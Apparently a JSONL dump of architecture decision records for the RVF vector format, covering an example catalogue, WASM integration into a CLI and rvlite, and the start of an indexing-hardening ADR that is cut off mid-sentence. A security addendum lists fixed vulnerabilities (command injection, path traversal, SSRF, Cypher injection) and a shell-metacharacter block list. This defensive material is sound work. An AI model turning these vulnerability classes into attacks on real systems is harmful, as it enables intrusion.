(WASM runtime): Defines Tier 1 (WASM microkernel). KERNEL_SEG is Tier 3, complementary.\n- **ADR-012** (Security remediation): Establishes the cryptographic signing and attestation framework that KERNEL_SEG reuses.\n- **ADR-003** (SIMD optimization): The unikernel's distance computation kernels follow the same SIMD strategy (AVX-512, NEON, WASM v128).\n\n## References\n\n- [Hermit OS](https://hermit-os.org/) -- Rust-native unikernel\n- [Firecracker](https://firecracker-microvm.github.io/) -- Secure microVM for serverless\n- [Aya](https://aya-rs.dev/book/) -- Rust eBPF framework\n- [Asterinas](https://github.com/asterinas/asterinas) -- Linux ABI-compatible Rust framekernel (USENIX ATC 2025)\n- [Theseus OS](https://github.com/theseus-os/Theseus) -- Safe-language OS with intralingual design\n- [WASI](https://wasi.dev/) -- WebAssembly System Interface\n- [fips204 crate](https://crates.io/crates/fips204) -- Pure Rust ML-DSA-65 implementation\n- [Confidential Computing Consortium](https://confidentialcomputing.io/)\n- [Gramine](https://gramineproject.io/) -- SGX library OS\n- [WebAssembly and Unikernels: A Comparative Study](https://arxiv.org/html/2509.09400v1) -- Serverless edge comparison\n- [AppImage](https://appimage.org/) -- Self-contained Linux application format\n\n## Revision History\n\n| Version | Date | Author | Changes |\n|---------|------|--------|---------|\n| 1.0 | 2026-02-14 | ruv.io | Initial proposal |\n| 1.1 | 2026-02-16 | implementation review | Phase 1 complete: KernelHeader (128B), EbpfHeader (64B), WasmHeader (64B), all enums and flag constants implemented in rvf-types with 32+ tests. Updated GOAP world state. Added WASM_SEG (0x10) and domain expansion types (0x30-0x32) to segment registry. AGI container header (64B) implemented. |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-030-rvf-cognitive-container.md", "created_at": "2026-03-28T11:58:49.232170+00:00", "content_hash": "cbd53ff2ee9fd12b814987d4aaeae1d1099a0558b9766cb28b8a325d402c7ed9"} +{"id": "0cfdebc7-02ea-4048-ac2e-35ad2ec9e863", "source": "adr", "text": "# ADR-031: RVF Example Repository \u2014 24 Demonstrations Across Four Categories\n\n- **Status**: Accepted\n- **Date**: 2026-02-14\n- **Supersedes**: None\n- **Related**: ADR-029 (RVF Canonical Format), ADR-030 (Computational Container)\n\n## Context\n\nRVF (RuVector Format) is the unified agentic AI format \u2014 storage, transfer, and cognitive runtime in one file. The existing six examples (`basic_store`, `progressive_index`, `quantization`, `wire_format`, `crypto_signing`, `filtered_search`) demonstrate core storage and indexing features but do not cover:\n\n- Agentic AI patterns (agent memory, swarm coordination, reasoning traces)\n- Practical production patterns (RAG, recommendations, caching, deduplication)\n- Vertical domain applications (genomics, finance, medical, legal)\n- Exotic capabilities (quantum state, neuromorphic search, self-booting, eBPF)\n- Runtime targets (browser/WASM, edge/IoT, serverless, ruvLLM inference)\n\nWithout concrete examples, users cannot discover or adopt the full scope of RVF.\n\n## Decision\n\nCreate 24 new runnable examples organized into four categories, plus a cross-cutting runtime-targets group. Each example is a standalone `fn main()` in `examples/rvf/examples/` with inline documentation explaining the pattern.\n\n### Category A: Agentic AI (6 examples)\n\n| # | Example | File | What It Demonstrates |\n|---|---------|------|---------------------|\n| A1 | Agent Memory | `agent_memory.rs` | Persistent agent memory with witness audit trails, session recall |\n| A2 | Swarm Knowledge | `swarm_knowledge.rs` | Multi-agent shared knowledge base with concurrent writes |\n| A3 | Reasoning Trace | `reasoning_trace.rs` | Store chain-of-thought reasoning with lineage derivation |\n| A4 | Tool Cache | `tool_cache.rs` | Cache tool call results with metadata filters and TTL |\n| A5 | Agent Handoff | `agent_handoff.rs` | Transfer agent state between instances via RVF file |\n| A6 | Experience Replay | `experience_replay.rs` | RL-style experience replay buffer with priority sampling |\n\n### Category B: Practical Production (5 examples)\n\n| # | Example | File | What It Demonstrates |\n|---|---------|------|---------------------|\n| B1 | Semantic Search | `semantic_search.rs` | Document search engine with metadata-filtered k-NN |\n| B2 | Recommendation Engine | `recommendation.rs` | Item recommendations with collaborative filtering embeddings |\n| B3 | RAG Pipeline | `rag_pipeline.rs` | Retrieval-augmented generation: chunk, embed, retrieve, rerank |\n| B4 | Embedding Cache | `embedding_cache.rs` | LRU embedding cache with temperature tiering and eviction |\n| B5 | Dedup Detector | `dedup_detector.rs` | Near-duplicate detection with threshold-based clustering |\n\n### Category C: Vertical Domains (4 examples)\n\n| # | Example | File | What It Demonstrates |\n|---|---------|------|---------------------|\n| C1 | Genomic Pipeline | `genomic_pipeline.rs` | DNA k-mer embeddings with `.rvdna` domain profile and lineage |\n| C2 | Financial Signals | `financial_signals.rs` | Market signal embeddings with TEE attestation witness chains |\n| C3 | Medical Imaging | `medical_imaging.rs` | Radiology embedding search with `.rvvis` profile |\n| C4 | Legal Discovery | `legal_discovery.rs` | Legal document similarity with `.rvtext` profile and audit trails |\n\n### Category D: Exotic Capabilities (5 examples)\n\n| # | Example | File | What It Demonstrates |\n|---|---------|------|---------------------|\n| D1 | Self-Booting Service | `self_booting.rs` | RVF with embedded unikernel that boots as a microservice |\n| D2 | eBPF Accelerator | `ebpf_accelerator.rs` | eBPF hot-path acceleration for sub-microsecond lookups |\n| D3 | Hyperbolic Taxonomy | `hyperbolic_taxonomy.rs` | Hierarchy-aware search in hyperbolic space |\n| D4 | Multi-Modal Fusion | `multimodal_fusion.rs` | Text + image embeddings in one RVF file with cross-modal search |\n| D5 | Sealed Cognitive Engine | `sealed_engine.rs` | Full cognitive engine: vectors + LoRA + GNN + kernel + witness chain |\n\n### Category E: Runtime Targets (4 examples)\n\n| # | Example | File | What It Demonstrates |\n|---|---------|------|---------------------|\n| E1 | Browser WASM | `browser_wasm.rs` | Client-side vector search via 5.5 KB WASM microkernel |\n| E2 | Edge IoT | `edge_iot.rs` | Constrained device with rvlite-style minimal API |\n| E3 | Serverless Function | `serverless_function.rs` | Cold-start optimized RVF for Lambda/Cloud Functions |\n| E4 | ruvLLM Inference | `ruvllm_inference.rs` | LLM KV cache + LoRA adapter management backed by RVF |\n\n## Implementation\n\n### File Organization\n\n```\nexamples/rvf/\n Cargo.toml # Updated with 24 new [[example]] entries\n examples/\n # Existing (6)\n basic_store.rs\n progressive_index.rs\n quantization.rs\n wire_format.rs\n crypto_signing.rs\n filtered_search.rs\n # Agentic (6)\n agent_memory.rs\n swarm_knowledge.rs\n reasoning_trace.rs\n tool_cache.rs\n agent_handoff.rs\n experience_replay.rs\n # Practical (5)\n semantic_search.rs\n recommendation.rs\n rag_pipeline.rs\n embedding_cache.rs\n dedup_detector.rs\n # Vertical (4)\n genomic_pipeline.rs\n financial_signals.rs\n medical_imaging.rs\n legal_discovery.rs\n # Exotic (5)\n self_booting.rs\n ebpf_accelerator.rs\n hyperbolic_taxonomy.rs\n multimodal_fusion.rs\n sealed_engine.rs\n # Runtime Targets (4)\n browser_wasm.rs\n edge_iot.rs\n serverless_function.rs\n ruvllm_inference.rs\n```\n\n### Example Structure\n\nEach example follows this pattern:\n\n```rust\n//! # Example Title\n//!\n//! Category: Agentic | Practical | Vertical | Exotic | Runtime\n//!\n//! **What this demonstrates:**\n//! - Feature A\n//! - Feature B\n//!\n//! **RVF segments used:** VEC, INDEX, WITNESS, ...\n//!\n//! **Run:** `cargo run --example example_name`\n\nfn main() {\n // Self-contained, deterministic, no external dependencies\n}\n```\n\n### Design Constraints\n\n1. **Self-contained**: Each example runs without external services (databases, APIs, models)\n2. **Deterministic**: Seeded RNG produces identical output across runs\n3. **Fast**: Each completes in < 2 seconds on commodity hardware\n4. **Documented**: Module-level doc comments explain the pattern and RVF segments used\n5. **Buildable**: All examples compile against existing RVF crate APIs\n\n### Dependencies\n\nNo new crate dependencies beyond what `examples/rvf/Cargo.toml` already provides:\n- `rvf-runtime`, `rvf-types`, `rvf-wire`, `rvf-manifest`, `rvf-index`, `rvf-quant`, `rvf-crypto`\n- `rand`, `tempfile`, `ed25519-dalek`\n\n## Consequences\n\n### Positive\n\n- Users can discover all RVF capabilities through runnable code\n- Each category targets a different audience (AI engineers, domain specialists, systems programmers)\n- Examples serve as integration tests for advanced API surface\n- The repository becomes a reference implementation catalog\n\n### Negative\n\n- 24 additional files to maintain (mitigated by CI: `cargo build --examples`)\n- Some examples simulate external systems (LLM tokens, genomic data) with synthetic data\n- Examples may drift from API as crates evolve (mitigated by workspace-level `cargo test`)\n\n### Neutral\n\n- Examples are not benchmarks; performance numbers are illustrative\n- Domain-specific examples (genomics, finance) use synthetic data, not real datasets", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-031-rvf-example-repository.md", "created_at": "2026-03-28T11:58:49.232360+00:00", "content_hash": "ee1786d0bd741919da615509281449232f04fcfcea7c486ba5b8db68c0a50403"} +{"id": "6e438471-0d91-42dc-9d9e-1d1513d4dbe6", "source": "adr", "text": "# ADR-032: RVF WASM Integration into npx ruvector and rvlite\n\n**Status**: Accepted\n**Date**: 2026-02-14\n**Deciders**: ruv.io Team\n**Supersedes**: None\n**Related**: ADR-030 (RVF Cognitive Container), ADR-031 (RVCOW Branching)\n\n---\n\n## Context\n\nThe RuVector Format (RVF) ecosystem now ships four npm packages:\n\n| Package | Purpose | Size |\n|---------|---------|------|\n| `@ruvector/rvf` | Unified TypeScript SDK with auto backend selection | - |\n| `@ruvector/rvf-node` | Native N-API bindings (Rust via napi-rs) with AGI methods | - |\n| `@ruvector/rvf-wasm` | Browser/edge WASM build | ~46 KB control plane, ~5.5 KB tile |\n| `@ruvector/rvf-solver` | Self-learning AGI solver (Thompson Sampling, ReasoningBank, witness chain) | ~160 KB WASM |\n| `@ruvector/rvf-mcp-server` | MCP server for AI agent integration | - |\n\nTwo existing packages would benefit from RVF integration:\n\n1. **`ruvector` (npx ruvector)** -- The main CLI and SDK package (v0.1.88). It has 28 CLI command groups (7,065 lines), depends on `@ruvector/core`, `@ruvector/attention`, `@ruvector/gnn`, `@ruvector/sona`, but has **no dependency on `@ruvector/rvf`**. It currently uses in-memory vector storage with no persistent file-backed option.\n\n2. **`rvlite`** -- A lightweight multi-query vector database (SQL, SPARQL, Cypher) running entirely in WASM. It uses `ruvector-core` for vectors and IndexedDB for browser persistence. A Rust adapter already exists at `crates/rvf/rvf-adapters/rvlite/` wrapping `RvfStore` as `RvliteCollection`.\n\nThe main gap is operational truth: what happens on crash, partial migrate, concurrent writers, browser refresh, and mixed backends. This ADR locks the invariants that keep the integration boring and durable.\n\n---\n\n## Key Invariants\n\n### 1. Single writer rule\n\nAny open store has exactly one writer lease. Node uses a file lock (`flock`). Browser uses a lock record with heartbeat in IndexedDB. Readers are unlimited. A stale lease (heartbeat older than 30 seconds) is recoverable by a new writer.\n\n### 2. Crash ordering rule (rvlite hybrid mode)\n\nRVF is the source of truth for vectors. IndexedDB is a rebuildable cache for metadata.\n\n**Write order:**\n1. Write vectors to RVF (append-only, crash-safe)\n2. Write metadata to IndexedDB\n3. Commit a shared monotonic epoch value in both stores\n\n**On startup:** Compare epochs. If RVF epoch > IndexedDB epoch, rebuild metadata from RVF. If IndexedDB epoch > RVF epoch (should not happen), log warning and trust RVF.\n\n### 3. Backend selection rule\n\nExplicit override beats auto detection. If user passes `--backend rvf`, do not silently fall back to `core` or `memory`. Fail loud with a clear install hint. This prevents data going to the wrong place.\n\n```\nError: @ruvector/rvf is not installed.\n Run: npm install @ruvector/rvf\n The --backend rvf flag requires this package.\n```\n\n### 4. Cross-platform compatibility rule\n\nEvery `.rvf` file written by WASM must be readable by Node N-API and vice versa for the same RVF wire version. If a file uses features from a newer version, the header must declare it and the CLI must refuse with an upgrade path:\n\n```\nError: vectors.rvf requires RVF wire version 2, but this CLI supports version 1.\n Run: npm update @ruvector/rvf\n```\n\n---\n\n## Decision\n\nIntegrate `@ruvector/rvf` (and its WASM backend) into both packages in three phases:\n\n### Phase 1: npx ruvector -- Add RVF as optional dependency + CLI command group\n\n**Contract:**\n- **Input**: path, dimension, vectors\n- **Output**: deterministic `.rvf` file and status metadata\n- **Failure**: missing `@ruvector/rvf` package gives error with install instruction (never silent fallback)\n- **Success metric**: hooks memory persists across process restart\n\n**Changes:**\n\n1. **package.json** -- Add `@ruvector/rvf` as an optional dependency:\n ```json\n \"optionalDependencies\": {\n \"@ruvector/rvf\": \"^0.1.0\"\n }\n ```\n\n2. **src/index.ts** -- Extend platform detection to try RVF after `@ruvector/core`:\n ```\n Detection order:\n 1. @ruvector/core (native Rust -- fastest)\n 2. @ruvector/rvf (RVF store -- persistent, file-backed)\n 3. Stub fallback (in-memory, testing only)\n ```\n If `--backend rvf` is explicit, skip detection and fail if unavailable.\n\n3. **bin/cli.js** -- Add `rvf` command group before the `mcp` command (~line 7010):\n ```\n ruvector rvf create Create a new .rvf store\n ruvector rvf ingest Ingest vectors from JSON/CSV\n ruvector rvf query k-NN search\n ruvector rvf status Show store statistics\n ruvector rvf segments List all segments\n ruvector rvf derive Create derived store with lineage\n ruvector rvf compact Reclaim deleted space\n ruvector rvf export Export store\n ```\n\n4. **src/core/rvf-wrapper.ts** -- Create wrapper module exposing `RvfDatabase` through the existing core interface pattern. Must match the core interface exactly so callers are backend-agnostic. Exports added to `src/core/index.ts`.\n\n5. **Hooks integration** -- Add `ruvector hooks rvf-backend` subcommand to use `.rvf` files as persistent vector memory backend. The `--backend rvf` flag requires explicit selection; recall is read-only by default.\n\n### Phase 2: rvlite -- RVF as storage backend for vector data\n\n**Contract:**\n- **Input**: existing rvlite database state (vectors + metadata + graphs)\n- **Output**: `.rvf` file for vectors plus IndexedDB metadata cache\n- **Failure**: crash mid-sync triggers epoch reconciliation on next open (self-healing)\n- **Success metric**: migrate tool is idempotent and safe to rerun\n\n**Changes:**\n\n1. **Rust crate (`crates/rvlite`)** -- Add optional `rvf-runtime` dependency behind a feature flag:\n ```toml\n [features]\n default = []\n rvf-backend = [\"rvf-runtime\", \"rvf-types\"]\n ```\n Default stays unchanged. No behavior change unless feature is enabled.\n\n2. **Hybrid persistence model:**\n - **Vectors**: Stored in `.rvf` file via `RvliteCollection` adapter (already exists at `rvf-adapters/rvlite/`)\n - **Metadata/Graphs**: Continue using IndexedDB JSON state (SQL tables, Cypher nodes/edges, SPARQL triples)\n - **Epoch reconciliation**: Both stores share a monotonic epoch. On startup, compare and rebuild the lagging side.\n - RVF vector IDs map directly to rvlite SQL primary keys (no internal mapping layer -- IDs are u64 in both systems).\n\n3. **npm package (`npm/packages/rvlite`)** -- Add `@ruvector/rvf-wasm` as optional dependency. Extend `RvLite` TypeScript class:\n ```typescript\n // New factory method\n static async createWithRvf(config: RvLiteConfig & { rvfPath: string }): Promise\n\n // New methods\n async saveToRvf(path: string): Promise\n async loadFromRvf(path: string): Promise\n ```\n\n4. **Migration utility** -- `rvlite rvf-migrate` CLI command to convert existing IndexedDB vector data into `.rvf` files. Supports `--dry-run` and `--verify` modes. Idempotent: rerunning on an already-migrated store is a no-op.\n\n5. **Rebuild command** -- `rvlite rvf-rebuild` reconstructs IndexedDB metadata from RVF when cache is missing or corrupted.\n\n### Phase 3: Shared WASM backend unification\n\n**Contract:**\n- **Input**: browser environment with both `ruvector` and `rvlite` installed\n- **Output**: one shared WASM engine instance resolved through a single import path\n- **Success metric**: bundle diff shows zero duplicate WASM; CI check enforces this\n\n**Changes:**\n\n1. **Single WASM build** -- Both `rvlite` and `ruvector` share `@ruvector/rvf-wasm` as the vector computation engine in browser environments, eliminating duplicate WASM binaries.\n\n2. **MCP bridge** -- The existing `@ruvector/rvf-mcp-server` exposes all RVF operations to AI agents. Extend with rvlite-specific tools (read-only by default unless `--write` flag is set):\n ```\n rvlite_sql(storeId, query) Execute SQL over RVF-backed store\n rvlite_cypher(storeId, query) Execute Cypher query\n rvlite_sparql(storeId, query) Execute SPARQL query\n ```\n\n3. **Core export consolidation** -- `ruvector` re-exports `RvfDatabase` so downstream consumers use a single import:\n ```typescript\n import { RvfDatabase } from 'ruvector';\n ```\n\n4. **CI duplicate check** -- Build step that fails if two copies of the WASM artifact are present in the bundle.\n\n---\n\n## API Mapping\n\n### ruvector hooks system -> RVF\n\n| Hooks Operation | Current Implementation | RVF Equivalent |\n|----------------|----------------------|----------------|\n| `hooks remember` | In-memory vector store | `RvfDatabase.ingestBatch()` |\n| `hooks recall` | In-memory k-NN | `RvfDatabase.query()` (read-only) |\n| `hooks export` | JSON dump | `RvfDatabase.segments()` + file copy |\n| `hooks stats` | Runtime counters | `RvfDatabase.status()` |\n\n### rvlite -> RVF\n\n| RvLite Operation | Current Implementation | RVF Equivalent |\n|-----------------|----------------------|----------------|\n| `insert(vector)` | `VectorDB.add()` (ruvector-core) | `RvliteCollection.add()` |\n| `search(query, k)` | `VectorDB.search()` | `RvliteCollection.search()` |\n| `delete(id)` | `VectorDB.remove()` | `RvliteCollection.remove()` |\n| `save()` | IndexedDB serialization | `RvfStore` file (automatic) |\n| `load()` | IndexedDB deserialization | `RvliteCollection.open()` |\n\n### RVF WASM exports used\n\n| Export | Used By | Purpose |\n|--------|---------|---------|\n| `rvf_store_create` | Both | Initialize in-memory store |\n| `rvf_store_ingest` | Both | Batch vector ingestion |\n| `rvf_store_query` | Both | k-NN search |\n| `rvf_store_delete` | Both | Soft-delete vectors |\n| `rvf_store_export` | ruvector | Serialize to `.rvf` bytes |\n| `rvf_store_open` | rvlite | Parse `.rvf` into queryable store |\n| `rvf_store_count` | Both | Live vector count |\n| `rvf_store_status` | ruvector | Store statistics |\n\n---\n\n## Consequences\n\n### Positive\n\n- **Persistent vector storage** -- `npx ruvector` gains file-backed vector storage (`.rvf` files) for the first time, enabling hooks intelligence to survive across sessions.\n- **Single format** -- Both packages read/write the same `.rvf` binary format, enabling data interchange.\n- **Reduced bundle size** -- Sharing `@ruvector/rvf-wasm` (~46 KB) between packages eliminates duplicate vector engines.\n- **Lineage tracking** -- `RvfDatabase.derive()` brings COW branching and provenance to both packages.\n- **Cross-platform** -- RVF auto-selects N-API (Node.js) or WASM (browser) without user configuration.\n- **Self-healing** -- Epoch reconciliation means crashes never corrupt data permanently.\n\n### Negative\n\n- **Optional dependency complexity** -- Both packages must gracefully handle missing `@ruvector/rvf` at runtime.\n- **Dual persistence in rvlite** -- Vectors in `.rvf` files + metadata in IndexedDB adds a split-brain risk. Mitigated by epoch reconciliation and treating IndexedDB as rebuildable cache.\n- **API surface growth** -- `npx ruvector` gains 8 new CLI subcommands.\n\n### Risks\n\n| Risk | Severity | Mitigation |\n|------|----------|------------|\n| IndexedDB + RVF sync crash | High | Write RVF first (append-only, crash-safe). IndexedDB is rebuildable. Epoch reconciliation on startup. |\n| WASM size budget | Low | Adding ~46 KB to rvlite's ~850 KB bundle is <6% increase. |\n| Concurrent open in two tabs | Medium | Writer lease with heartbeat in IndexedDB. Stale lease (>30s) is recoverable. Second writer gets clear error. |\n| Version skew across packages | Medium | RVF header version gate. CI compatibility test matrix: WASM-written files must be readable by Node and vice versa. |\n| Migration data loss | Medium | Migrate tool has `--dry-run` and `--verify` modes. Idempotent. Never deletes source data. |\n\n---\n\n## Decision Matrix: Hybrid Persistence\n\n| Criteria | Option A: Vectors in RVF, metadata in IndexedDB | Option B: Everything in IndexedDB |\n|----------|----|----|\n| **Durability** | High (RVF is append-only, crash-safe) | Medium (IndexedDB has no crash ordering guarantee) |\n| **Simplicity** | Medium (two stores, epoch sync) | High (single store) |\n| **Performance** | High (SIMD-aligned slabs, HNSW indexing) | Medium (JSON serialization) |\n| **Recoverability** | High (rebuild metadata from RVF) | Medium (no independent source of truth) |\n| **User surprise** | Medium (two persistence targets) | Low (familiar single-store model) |\n\n**Decision**: Option A wins if we implement epoch reconciliation and writer leases (both specified in this ADR).\n\n---\n\n## Failure Modes to Test\n\n| # | Scenario | Expected Behavior |\n|---|----------|-------------------|\n| 1 | Power loss during ingest | Reopen succeeds. Last committed epoch is consistent. Partial append is invisible. |\n| 2 | Crash between RVF write and metadata write | Next open reconciles by epoch. Metadata rebuilt from RVF. |\n| 3 | Two writers attempting to open same store | Second writer gets `ELOCK` error with clear message. |\n| 4 | Migration rerun on already-migrated store | No-op. No duplication. Exit code 0. |\n| 5 | Write in Node, read in browser, write, read back in Node | Top-10 nearest neighbors match within 1e-6 distance tolerance. |\n| 6 | Browser refresh during write | Writer lease expires. Next open acquires fresh lease. No corruption. |\n| 7 | Mixed RVF versions (v1 file opened by v2 reader) | Forward-compatible read succeeds. v1 file opened by v0 reader fails with upgrade hint. |\n\n---\n\n## Implementation Checklist\n\n### npx ruvector (Phase 1)\n\n- [x] Add backend adapter matching existing core interface exactly\n- [x] Add `rvf` CLI group with create, ingest, query, status, segments, derive, compact, export\n- [x] Add `rvf examples` and `rvf download` commands for example .rvf files\n- [x] Add 10 RVF tools to main MCP server (rvf_create through rvf_examples)\n- [x] Add hooks `--backend rvf` flag requiring explicit selection (no silent fallback)\n- [x] Error messages for missing `@ruvector/rvf` include install command\n- [x] Security: path validation, shell arg sanitization, redirect whitelist\n- [x] Smoke test: 4 Rust integration tests (full lifecycle, cosine, multi-restart, metadata)\n\n### rvlite (Phase 2)\n\n- [x] Feature-flag RVF backend in Rust; default stays unchanged\n- [x] Epoch reconciliation module (`crates/rvlite/src/storage/epoch.rs`)\n- [x] Auto-detection of `@ruvector/rvf-wasm` in TypeScript SDK\n- [x] `getStorageBackend()` and `isRvfAvailable()` exports\n- [x] Security: Cypher injection prevention, relation type validation, depth clamping\n- [x] Full epoch reconciliation algorithm (23 tests, `EpochTracker` with `AtomicU64`, thread-safe)\n- [x] `rvf-migrate` CLI command with `--dry-run` and `--verify` modes (idempotent, 1e-6 tolerance)\n- [x] `rvf-rebuild` CLI command to reconstruct metadata from RVF\n- [x] Writer lease (`WriterLease` with file lock + PID-based stale detection, `BrowserWriterLease` with IndexedDB heartbeat)\n- [x] Direct ID mapping: `IdMapping` trait, `DirectIdMap` (identity), `OffsetIdMap` (20 tests)\n\n### Shared (Phase 3)\n\n- [x] `@ruvector/rvf-wasm` as shared optional peer dependency in rvlite\n- [x] CI build step (`wasm-dedup-check.yml`) fails if duplicate WASM artifacts detected\n- [x] 3 MCP server rvlite tools (`rvlite_sql`, `rvlite_cypher`, `rvlite_sparql`) \u2014 read-only default\n- [x] Cross-platform compatibility tests: 6 tests (cosine/L2/IP round-trip, segment preservation, byte-identical transfer)\n\n---\n\n## Acceptance Test\n\nA clean machine with no prior data can:\n1. `ruvector rvf create test.rvf --dimension 384`\n2. `ruvector rvf ingest test.rvf --input vectors.json`\n3. `ruvector rvf query test.rvf --vector \"...\" --k 10` -- returns results\n4. Restart the process\n5. `ruvector rvf query test.rvf --vector \"...\" --k 10` -- same results (persistence verified)\n6. `rvlite rvf-migrate` converts an existing rvlite store\n7. Open the migrated store in a browser via WASM\n8. Top-10 nearest neighbors match Node results within 1e-6 distance tolerance\n\n---\n\n## Implementation Files\n\n### npx ruvector (Phase 1)\n\n| File | Action |\n|------|--------|\n| `npm/packages/ruvector/package.json` | Edit -- add `@ruvector/rvf` optional dep |\n| `npm/packages/ruvector/src/index.ts` | Edit -- add RVF to platform detection with explicit backend support |\n| `npm/packages/ruvector/src/core/rvf-wrapper.ts` | Create -- RVF wrapper matching core interface |\n| `npm/packages/ruvector/src/core/index.ts` | Edit -- export rvf-wrapper |\n| `npm/packages/ruvector/bin/cli.js` | Edit -- add `rvf` command group (~line 7010) |\n\n### rvlite (Phase 2)\n\n| File | Action |\n|------|--------|\n| `crates/rvlite/Cargo.toml` | Edit -- add optional `rvf-runtime` dep behind feature flag |\n| `crates/rvlite/src/lib.rs` | Edit -- add RVF backend behind feature flag |\n| `crates/rvlite/src/storage/epoch.rs` | Create -- epoch reconciliation algorithm |\n| `npm/packages/rvlite/package.json` | Edit -- add `@ruvector/rvf-wasm` optional dep |\n| `npm/packages/rvlite/src/index.ts` | Edit -- add `createWithRvf()` factory, migrate, rebuild |\n\n### Shared (Phase 3)\n\n| File | Action |\n|------|--------|\n| `npm/packages/rvf-mcp-server/src/server.ts` | Edit -- add rvlite query tools (read-only default) |\n\n---\n\n## Security Hardening (Phase 1 Addendum)\n\nApplied security hardening across all three integration surfaces after audit.\n\n### Vulnerabilities Addressed\n\n| ID | Severity | Surface | Vulnerability | Fix |\n|----|----------|---------|---------------|-----|\n| S-01 | CRITICAL | CLI `rvf download` | Path traversal via crafted filenames | `sanitizeFileName()` + allowlist validation + path containment check |\n| S-02 | CRITICAL | MCP server | Command injection via `execSync` with user args | `sanitizeShellArg()` strips shell metacharacters; numeric args parsed with `parseInt()` |\n| S-03 | HIGH | MCP `rvf_*` tools | Path traversal via `args.path` | `validateRvfPath()` blocks `..`, null bytes, sensitive system paths |\n| S-04 | HIGH | CLI `rvf download` | SSRF via blind redirect following | `ALLOWED_REDIRECT_HOSTS` whitelist (GitHub domains only) |\n| S-05 | HIGH | CLI `rvf download` | URL injection | `encodeURIComponent()` on filenames in URLs |\n| S-06 | MEDIUM | rvlite `SemanticMemory` | Cypher injection via unsanitized user strings | `sanitizeCypher()` escapes quotes/backslashes/control chars |\n| S-07 | MEDIUM | rvlite `SemanticMemory` | Arbitrary relationship types in Cypher | `validateRelationType()` restricts to `[A-Za-z_][A-Za-z0-9_]*` |\n| S-08 | MEDIUM | MCP server hooks | Numeric arg injection | All numeric args (`threshold`, `top_k`, `days`, etc.) parsed with `parseInt()` + fallback defaults |\n| S-09 | MEDIUM | rvlite `SemanticMemory` | Graph traversal depth abuse | `findRelated()` depth clamped to `[1, 10]` |\n\n### Security Helpers Added\n\n**`mcp-server.js`** (3 functions):\n- `validateRvfPath(filePath)` -- blocks path traversal, null bytes, and sensitive system paths\n- `sanitizeShellArg(arg)` -- strips shell metacharacters (`\\``, `$()`, `{}`, `|`, `;`, `&`, `<>`, `!`, `..`)\n- Numeric args validated with `parseInt()` in all 15+ command handlers\n\n**`cli.js`** (download command):\n- `sanitizeFileName(name)` -- strips path separators, validates `/^[\\w\\-.]+$/`\n- `ALLOWED_REDIRECT_HOSTS` -- whitelist: `raw.githubusercontent.com`, `objects.githubusercontent.com`, `github.com`\n- Path containment: `path.resolve(dest).startsWith(path.resolve(outDir))`\n- Allowlist: downloads validated against known `RVF_EXAMPLES` catalog\n\n**`rvlite/src/index.ts`**:\n- `sanitizeCypher(value)` -- escapes `\\`, `\"`, `'`, control characters\n- `validateRelationType(rel)` -- validates `[A-Za-z_][A-Za-z0-9_]*`\n\n### Files Modified\n\n| File | Change |\n|------|--------|\n| `npm/packages/ruvector/bin/cli.js` | +25 lines: filename sanitization, redirect validation, path containment, allowlist |\n| `npm/packages/ruvector/bin/mcp-server.js` | +40 lines: `validateRvfPath()`, `sanitizeShellArg()`, applied to all 25+ handlers |\n| `npm/packages/rvlite/src/index.ts` | +20 lines: `sanitizeCypher()`, `validateRelationType()`, depth clamping |\n\n---\n\n## RVF Types Implementation (WASM Bootstrap)\n\nThe WASM self-bootstrapping types are fully implemented in `rvf-types/src/wasm_bootstrap.rs` (402 lines, 10 tests):\n\n| Type | Size | Description |\n|------|------|-------------|\n| `WasmHeader` | 64 bytes (`repr(C)`) | Segment payload header with magic \"RVWM\" (0x5256574D), `to_bytes()`/`from_bytes()` serialization, compile-time size assertion |\n| `WasmRole` | `u8` enum | Microkernel (0x00), Interpreter (0x01), Combined (0x02), Extension (0x03), ControlPlane (0x04) |\n| `WasmTarget` | `u8` enum | Wasm32 (0x00), WasiP1 (0x01), WasiP2 (0x02), Browser (0x03), BareTile (0x04) |\n| `WASM_FEAT_*` | 8 constants | SIMD, bulk memory, multi-value, reference types, threads, tail call, GC, exception handling |\n\nKey fields in `WasmHeader`: `bytecode_size`, `compressed_size`, `bytecode_hash` (SHAKE-256-256), `bootstrap_priority`, `interpreter_type`, `min_memory_pages`, `max_memory_pages`.\n\nAll types are exported from `rvf-types/src/lib.rs` and available to downstream crates. The `SegmentType::Wasm = 0x10` discriminant is registered in `segment_type.rs` with `TryFrom` round-trip tests.\n\n---\n\n## Verification\n\n```bash\n# Phase 1: npx ruvector RVF integration\nnpx ruvector rvf create test.rvf --dimension 384\nnpx ruvector rvf ingest test.rvf --input vectors.json\nnpx ruvector rvf query test.rvf --vector \"0.1,0.2,...\" --k 10\nnpx ruvector rvf status test.rvf\nnpx ruvector hooks remember --backend rvf --store hooks.rvf \"test pattern\"\nnpx ruvector hooks recall --backend rvf --store hooks.rvf \"test\"\n\n# Phase 1: Example download\nnpx ruvector rvf examples\nnpx ruvector rvf download basic_store agent_memory\nnpx ruvector rvf download --all -o ./rvf-examples\n\n# Phase 2: rvlite RVF backend\ncargo test -p rvlite --features rvf-backend\n# npm test for rvlite with RVF factory\n\n# Phase 3: Shared WASM\n# Verify single @ruvector/rvf-wasm instance in node_modules\nnpm ls @ruvector/rvf-wasm\n\n# Failure mode tests\ncargo test --test rvf_crash_recovery\ncargo test --test rvf_writer_lease\ncargo test --test rvf_epoch_reconciliation\ncargo test --test rvf_cross_platform_compat\ncargo test --test rvf_migration_idempotent\n```", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-032-rvf-wasm-integration.md", "created_at": "2026-03-28T11:58:49.232488+00:00", "content_hash": "5dc240794c4aef1dc7ef49c17fc35cd2bbf80ec581a8c9e2c4ece0fc04505e89"} +{"id": "a51d9336-85c8-4116-93cd-06e4e170fcf6", "source": "adr", "text": "# ADR-033: Progressive Indexing Hardening \u2014 Centroid Stability, Adversarial Resilience, Recall Framing, and Mandatory Signatures\n\n**Status**: Accepted\n**Date**: 2026-02-15\n**Supersedes**: Partially amends ADR-029 (RVF Canonical Format), ADR-030 (Cognitive Container)\n**Affects**: `rvf-types`, `rvf-runtime`, `rvf-manifest`, `rvf-crypto`, `rvf-wasm`\n\n---\n\n## Context\n\nAnalysis of the progressive indexing system (spec chapters 02-04) revealed four structural weaknesses that convert engineered guarantees into opportunistic behavior:\n\n1. **Centroid stability** depends on physical layout, not logical identity\n2. **Layer A recall** collapses silently under 